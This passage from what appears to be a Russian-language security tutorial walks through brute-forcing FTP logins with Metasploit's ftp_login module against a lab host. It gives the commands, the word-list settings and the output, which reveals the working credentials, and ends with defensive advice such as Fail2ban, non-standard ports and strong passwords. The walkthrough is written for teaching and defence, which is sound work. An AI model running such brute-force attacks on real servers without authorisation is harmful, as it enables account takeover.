msf5 > search ftp

Matching Modules
================

   #    Name                                                               Disclosure Date  Rank       Check  Description
   -    ----                                                               ---------------  ----       -----  -----------
   0    auxiliary/admin/cisco/vpn_3000_ftp_bypass                          2006-08-23       normal     No     Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access
   1    auxiliary/admin/officescan/tmlisten_traversal                                       normal     Yes    TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access
   2    auxiliary/admin/tftp/tftp_transfer_util                                             normal     No     TFTP File Transfer Utility
   3    auxiliary/dos/scada/d20_tftp_overflow                              2012-01-19       normal     No     General Electric D20ME TFTP Server Buffer Overflow DoS
   4    auxiliary/dos/windows/ftp/filezilla_admin_user                     2005-11-07       normal     No     FileZilla FTP Server Admin Interface Denial of Service
   5    auxiliary/dos/windows/ftp/filezilla_server_port                    2006-12-11       normal     No     FileZilla FTP Server Malformed PORT Denial of Service
   6    auxiliary/dos/windows/ftp/guildftp_cwdlist                         2008-10-12       normal     No     Guild FTPd 0.999.8.11/0.999.14 Heap Corruption
   7    auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof                       2010-12-21       normal     No     Microsoft IIS FTP Server Encoded Response Overflow Trigger
   8    auxiliary/dos/windows/ftp/iis_list_exhaustion                      2009-09-03       normal     No     Microsoft IIS FTP Server LIST Stack Exhaustion
   9    auxiliary/dos/windows/ftp/solarftp_user                            2011-02-22       normal     No     Solar FTP Server Malformed USER Denial of Service
   10   auxiliary/dos/windows/ftp/titan626_site                            2008-10-14       normal     No     Titan FTP Server 6.26.630 SITE WHO DoS
   11   auxiliary/dos/windows/ftp/vicftps50_list                           2008-10-24       normal     No     Victory FTP Server 5.0 LIST DoS
   12   auxiliary/dos/windows/ftp/winftp230_nlst                           2008-09-26       normal     No     WinFTP 2.3.0 NLST Denial of Service
   13   auxiliary/dos/windows/ftp/xmeasy560_nlst                           2008-10-13       normal     No     XM Easy Personal FTP Server 5.6.0 NLST DoS
   14   auxiliary/dos/windows/ftp/xmeasy570_nlst                           2009-03-27       normal     No     XM Easy Personal FTP Server 5.7.0 NLST DoS
   15   auxiliary/dos/windows/tftp/pt360_write                             2008-10-29       normal     No     PacketTrap TFTP Server 2.2.5459.0 DoS
   16   auxiliary/dos/windows/tftp/solarwinds                              2010-05-21       normal     No     SolarWinds TFTP Server 10.4.0.10 Denial of Service
   17   auxiliary/fuzzers/ftp/client_ftp                                                    normal     No     Simple FTP Client Fuzzer
   18   auxiliary/fuzzers/ftp/ftp_pre_post                                                  normal     Yes    Simple FTP Fuzzer
   19   auxiliary/gather/apple_safari_ftp_url_cookie_theft                 2015-04-08       normal     No     Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft
   20   auxiliary/gather/d20pass                                           2012-01-19       normal     No     General Electric D20 Password Recovery
   21   auxiliary/gather/konica_minolta_pwd_extract                                         normal     Yes    Konica Minolta Password Extractor
   22   auxiliary/scanner/ftp/anonymous                                                     normal     Yes    Anonymous FTP Access Detection
   23   auxiliary/scanner/ftp/bison_ftp_traversal                          2015-09-28       normal     Yes    BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure
   24   auxiliary/scanner/ftp/colorado_ftp_traversal                       2016-08-11       normal     Yes    ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure
   25   auxiliary/scanner/ftp/easy_file_sharing_ftp                        2017-03-07       normal     Yes    Easy File Sharing FTP Server 3.6 Directory Traversal
   26   auxiliary/scanner/ftp/ftp_login                                                     normal     Yes    FTP Authentication Scanner
   27   auxiliary/scanner/ftp/ftp_version                                                   normal     Yes    FTP Version Scanner
   28   auxiliary/scanner/ftp/konica_ftp_traversal                         2015-09-22       normal     Yes    Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure
   29   auxiliary/scanner/ftp/pcman_ftp_traversal                          2015-09-28       normal     Yes    PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure
   30   auxiliary/scanner/ftp/titanftp_xcrc_traversal                      2010-06-15       normal     Yes    Titan FTP XCRC Directory Traversal Information Disclosure

Поскольку нам нужен модуль ftp_login, вводим следующую команду:

msf5 > use auxiliary/scanner/ftp/ftp_login

Далее вводим команду options для просмотра текущих настроек:

msf5 auxiliary(scanner/ftp/ftp_login) > options

Module options (auxiliary/scanner/ftp/ftp_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST      false            no        Record anonymous/guest logins to the database
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT             21               yes       The target port (TCP)
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

Сначала указываем целевой IP-адрес:

msf5 auxiliary(scanner/ftp/ftp_login) > set rhosts 10.10.0.50

rhosts => 10.10.0.50

Затем файл с перечнем имен пользователей:

msf5 auxiliary(scanner/ftp/ftp_login) > set user_file usernames.txt

user_file => usernames.txt

И паролей:

msf5 auxiliary(scanner/ftp/ftp_login) > set pass_file passwords.txt
pass_file => passwords.txt

Теперь, когда всё готово для перебора, вводим команду run:

msf5 auxiliary(scanner/ftp/ftp_login) > run

[*] 10.10.0.50:21         - 10.10.0.50:21 - Starting FTP login sweep
[!] 10.10.0.50:21         - No active DB -- Credential data will not be saved!
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: root:password (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: root:s3cr3t (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: root:user (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: root:Password1 (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: root:hunter2 (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: admin:password (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: admin:s3cr3t (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: admin:user (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: admin:Password1 (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: admin:hunter2 (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: user:password (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: user:s3cr3t (Incorrect: )
[+] 10.10.0.50:21         - 10.10.0.50:21 - Login Successful: user:user
[+] 10.10.0.50:21         - 10.10.0.50:21 - Login Successful: ftp:password
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: steve:password (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: steve:s3cr3t (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: steve:user (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: steve:Password1 (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: steve:hunter2 (Incorrect: )
[*] 10.10.0.50:21         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

В результате выводятся все пары имен пользователей и паролей, участвующие в переборе, и в итоге мы получаем две рабочие учетные записи.

Как защититься от брутфорса FTP сервера

Если у вас используется FTP, весьма вероятно, что ежедневно вы будете сталкиваться со множеством попыток перебора в том числе при помощи вышеуказанных утилит. Тем не менее, вы можете предпринять несколько шагов для снижения риска от угроз подобного рода.

Самый простой способ – вообще не использовать FTP, если нет необходимости. Второй шаг (если использовать FTP всё же нужно) – указать нестандартный порт, что позволит защититься от подавляющего большинства атак, связанных с автоматизированным брутфорсом.

Третий шаг – использование сервисов навроде Fail2ban вместе корректно настроенными правилами фаервола. И последнее – использовать сильные пароли, устойчивые ко взлому.

Заключение

В этой статье мы рассмотрели методы брутфорса учетных записей FTP серверов при помощи утилит Ncrack, Medusa, Hydra, Patator и Metasploit, а также методы предотвращения угроз подобного рода. FTP может выглядеть «скучной» целью, но в связи с распространенностью следует знать, какими методами могут воспользоваться злоумышленники.

Andrey Kopelyan

У самурая нет цели, у самурая есть путь.